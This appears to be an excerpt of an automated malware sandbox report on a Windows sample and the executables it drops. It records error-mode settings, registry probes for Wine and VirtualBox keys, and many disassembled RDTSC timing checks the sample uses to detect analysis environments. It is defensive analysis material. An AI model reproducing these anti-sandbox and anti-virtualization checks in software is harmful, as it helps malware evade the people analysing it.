Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\CFHIIJDBKE.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\CFHIIJDBKE.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 321290 second address: 3212A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b jng 00007F4AE04F888Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 337367 second address: 33737D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jng 00007F4AE0E87EB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c ja 00007F4AE0E87EBEh 0x00000012 push eax 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 33737D second address: 337387 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 337387 second address: 33738D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 33738D second address: 337396 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 337396 second address: 33739A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 33739A second address: 3373BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE04F8896h 0x00000007 jng 00007F4AE04F8886h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 337693 second address: 3376D7 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F4AE0E87EBAh 0x00000008 push eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F4AE0E87EC9h 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 pushad 0x00000015 jng 00007F4AE0E87EB6h 0x0000001b jmp 00007F4AE0E87EBDh 0x00000020 jnl 00007F4AE0E87EB6h 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3376D7 second address: 3376E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007F4AE04F8886h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 337837 second address: 337848 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F4AE0E87EBCh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 337848 second address: 337865 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007F4AE04F8897h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 33AA10 second address: 33AA7A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F4AE0E87EC3h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F4AE0E87EC9h 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 jmp 00007F4AE0E87EC5h 0x0000001a mov eax, dword ptr [eax] 0x0000001c pushad 0x0000001d push eax 0x0000001e pushad 0x0000001f popad 0x00000020 pop eax 0x00000021 push eax 0x00000022 pushad 0x00000023 popad 0x00000024 pop eax 0x00000025 popad 0x00000026 mov dword ptr [esp+04h], eax 0x0000002a pushad 0x0000002b jbe 00007F4AE0E87EB8h 0x00000031 push ebx 0x00000032 pop ebx 0x00000033 pushad 0x00000034 push edi 0x00000035 pop edi 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 33AA7A second address: 1AEB8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pop eax 0x00000007 jmp 00007F4AE04F8891h 0x0000000c push dword ptr [ebp+122D0099h] 0x00000012 mov si, 0445h 0x00000016 call dword ptr [ebp+122D1859h] 0x0000001c pushad 0x0000001d add dword ptr [ebp+122D194Bh], edi 0x00000023 xor eax, eax 0x00000025 jmp 00007F4AE04F888Eh 0x0000002a je 00007F4AE04F8887h 0x00000030 mov edx, dword ptr [esp+28h] 0x00000034 mov dword ptr [ebp+122D194Bh], eax 0x0000003a mov dword ptr [ebp+122D3992h], eax 0x00000040 jg 00007F4AE04F8892h 0x00000046 jp 00007F4AE04F888Ch 0x0000004c mov esi, 0000003Ch 0x00000051 jmp 00007F4AE04F888Bh 0x00000056 xor dword ptr [ebp+122D194Bh], eax 0x0000005c add esi, dword ptr [esp+24h] 0x00000060 jc 00007F4AE04F8887h 0x00000066 cld 0x00000067 lodsw 0x00000069 js 00007F4AE04F8887h 0x0000006f clc 0x00000070 add eax, dword ptr [esp+24h] 0x00000074 pushad 0x00000075 movzx edi, cx 0x00000078 mov edi, 2FB83D5Fh 0x0000007d popad 0x0000007e mov ebx, dword ptr [esp+24h] 0x00000082 clc 0x00000083 push eax 0x00000084 push ebx 0x00000085 push eax 0x00000086 push eax 0x00000087 push edx 0x00000088 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 33AAB3 second address: 33AB13 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F4AE0E87EB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push ecx 0x00000011 call 00007F4AE0E87EB8h 0x00000016 pop ecx 0x00000017 mov dword ptr [esp+04h], ecx 0x0000001b add dword ptr [esp+04h], 0000001Ah 0x00000023 inc ecx 0x00000024 push ecx 0x00000025 ret 0x00000026 pop ecx 0x00000027 ret 0x00000028 push 00000000h 0x0000002a call 00007F4AE0E87EC3h 0x0000002f je 00007F4AE0E87EBCh 0x00000035 mov esi, dword ptr [ebp+122D395Eh] 0x0000003b pop edx 0x0000003c push 9530E28Bh 0x00000041 pushad 0x00000042 push eax 0x00000043 push edx 0x00000044 jc 00007F4AE0E87EB6h 0x0000004a rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 33AB13 second address: 33AB17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 33AB17 second address: 33ABC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F4AE0E87EB8h 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e popad 0x0000000f add dword ptr [esp], 6ACF1DF5h 0x00000016 cmc 0x00000017 jne 00007F4AE0E87ECBh 0x0000001d push 00000003h 0x0000001f jns 00007F4AE0E87EBCh 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push esi 0x0000002a call 00007F4AE0E87EB8h 0x0000002f pop esi 0x00000030 mov dword ptr [esp+04h], esi 0x00000034 add dword ptr [esp+04h], 00000015h 0x0000003c inc esi 0x0000003d push esi 0x0000003e ret 0x0000003f pop esi 0x00000040 ret 0x00000041 jmp 00007F4AE0E87EC1h 0x00000046 mov edi, dword ptr [ebp+122D391Ah] 0x0000004c push 00000003h 0x0000004e push 00000000h 0x00000050 push ebx 0x00000051 call 00007F4AE0E87EB8h 0x00000056 pop ebx 0x00000057 mov dword ptr [esp+04h], ebx 0x0000005b add dword ptr [esp+04h], 00000014h 0x00000063 inc ebx 0x00000064 push ebx 0x00000065 ret 0x00000066 pop ebx 0x00000067 ret 0x00000068 push B12866DFh 0x0000006d pushad 0x0000006e jmp 00007F4AE0E87EC0h 0x00000073 push edx 0x00000074 push eax 0x00000075 push edx 0x00000076 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 33AC8C second address: 33AC95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 33AC95 second address: 33AC99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 33AC99 second address: 33AC9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 33AC9D second address: 33ACB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d jng 00007F4AE0E87EB6h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 33ACB1 second address: 33ACED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push ecx 0x0000000a je 00007F4AE04F888Ch 0x00000010 mov esi, dword ptr [ebp+122D1A12h] 0x00000016 pop ecx 0x00000017 push 00000000h 0x00000019 mov si, 6E07h 0x0000001d push CAF72002h 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F4AE04F8898h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 33ACED second address: 33AD07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4AE0E87EC6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 33AD07 second address: 33ADA5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE04F888Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b add dword ptr [esp], 3508E07Eh 0x00000012 mov edx, dword ptr [ebp+122D3A8Eh] 0x00000018 push 00000003h 0x0000001a jne 00007F4AE04F888Ch 0x00000020 push 00000000h 0x00000022 jp 00007F4AE04F8887h 0x00000028 clc 0x00000029 push 00000003h 0x0000002b jmp 00007F4AE04F8892h 0x00000030 call 00007F4AE04F8889h 0x00000035 jmp 00007F4AE04F8895h 0x0000003a push eax 0x0000003b push ebx 0x0000003c jns 00007F4AE04F8888h 0x00000042 pop ebx 0x00000043 mov eax, dword ptr [esp+04h] 0x00000047 jmp 00007F4AE04F8897h 0x0000004c mov eax, dword ptr [eax] 0x0000004e push eax 0x0000004f push edx 0x00000050 push eax 0x00000051 push edx 0x00000052 jmp 00007F4AE04F888Bh 0x00000057 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 33ADA5 second address: 33ADAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 33ADAB second address: 33ADCC instructions: 0x00000000 rdtsc 0x00000002 jng 00007F4AE04F8888h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 pushad 0x00000011 ja 00007F4AE04F888Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 33ADCC second address: 33ADE7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop eax 0x00000008 mov si, FA72h 0x0000000c lea ebx, dword ptr [ebp+1245F949h] 0x00000012 mov edi, ebx 0x00000014 stc 0x00000015 xchg eax, ebx 0x00000016 push edi 0x00000017 push eax 0x00000018 push edx 0x00000019 push esi 0x0000001a pop esi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 33AEDA second address: 33AF4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 add dword ptr [esp], 3CC640EBh 0x0000000c push ecx 0x0000000d push ebx 0x0000000e call 00007F4AE04F8893h 0x00000013 pop edi 0x00000014 pop ecx 0x00000015 pop edx 0x00000016 push 00000003h 0x00000018 push 00000000h 0x0000001a push ebx 0x0000001b call 00007F4AE04F8888h 0x00000020 pop ebx 0x00000021 mov dword ptr [esp+04h], ebx 0x00000025 add dword ptr [esp+04h], 00000017h 0x0000002d inc ebx 0x0000002e push ebx 0x0000002f ret 0x00000030 pop ebx 0x00000031 ret 0x00000032 jns 00007F4AE04F888Ch 0x00000038 mov dx, di 0x0000003b push 00000000h 0x0000003d mov ecx, dword ptr [ebp+122D38D6h] 0x00000043 push 00000003h 0x00000045 mov edx, dword ptr [ebp+122D3926h] 0x0000004b mov edi, dword ptr [ebp+122D39BEh] 0x00000051 push B9D745A8h 0x00000056 push eax 0x00000057 push edx 0x00000058 push eax 0x00000059 push edx 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 33AF4F second address: 33AF53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 33AF53 second address: 33AF5D instructions: 0x00000000 rdtsc 0x00000002 js 00007F4AE04F8886h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 33AF5D second address: 33AF9B instructions: 0x00000000 rdtsc 0x00000002 jng 00007F4AE0E87EB8h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c add dword ptr [esp], 0628BA58h 0x00000013 sub dword ptr [ebp+122D35FAh], ebx 0x00000019 lea ebx, dword ptr [ebp+1245F954h] 0x0000001f xor edx, 664CDD70h 0x00000025 stc 0x00000026 xchg eax, ebx 0x00000027 pushad 0x00000028 push esi 0x00000029 jmp 00007F4AE0E87EC0h 0x0000002e pop esi 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 33AF9B second address: 33AF9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 35980C second address: 359811 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3599A9 second address: 3599C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4AE04F8899h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3599C6 second address: 3599CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 359C4D second address: 359C51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 359C51 second address: 359C57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 359DB8 second address: 359DBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 359DBC second address: 359DC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop ecx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 35A31E second address: 35A322 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 35A322 second address: 35A326 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 35A73C second address: 35A743 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 34DE22 second address: 34DE3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F4AE0E87EBFh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 34DE3A second address: 34DEAE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE04F888Dh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F4AE04F8897h 0x00000013 pop edi 0x00000014 jmp 00007F4AE04F8894h 0x00000019 popad 0x0000001a pushad 0x0000001b pushad 0x0000001c push ecx 0x0000001d pop ecx 0x0000001e jns 00007F4AE04F8886h 0x00000024 popad 0x00000025 pushad 0x00000026 jmp 00007F4AE04F888Bh 0x0000002b jnl 00007F4AE04F8886h 0x00000031 push ecx 0x00000032 pop ecx 0x00000033 push edx 0x00000034 pop edx 0x00000035 popad 0x00000036 jmp 00007F4AE04F888Ah 0x0000003b pushad 0x0000003c push esi 0x0000003d pop esi 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 35AA0D second address: 35AA11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 35AA11 second address: 35AA27 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F4AE04F8886h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jnl 00007F4AE04F8886h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 35AA27 second address: 35AA5A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F4AE0E87EC9h 0x0000000d jmp 00007F4AE0E87EBEh 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 35B21B second address: 35B225 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 35B392 second address: 35B3A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jnp 00007F4AE0E87EB6h 0x0000000f jnp 00007F4AE0E87EB6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 35B4F2 second address: 35B4FC instructions: 0x00000000 rdtsc 0x00000002 jc 00007F4AE04F8886h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
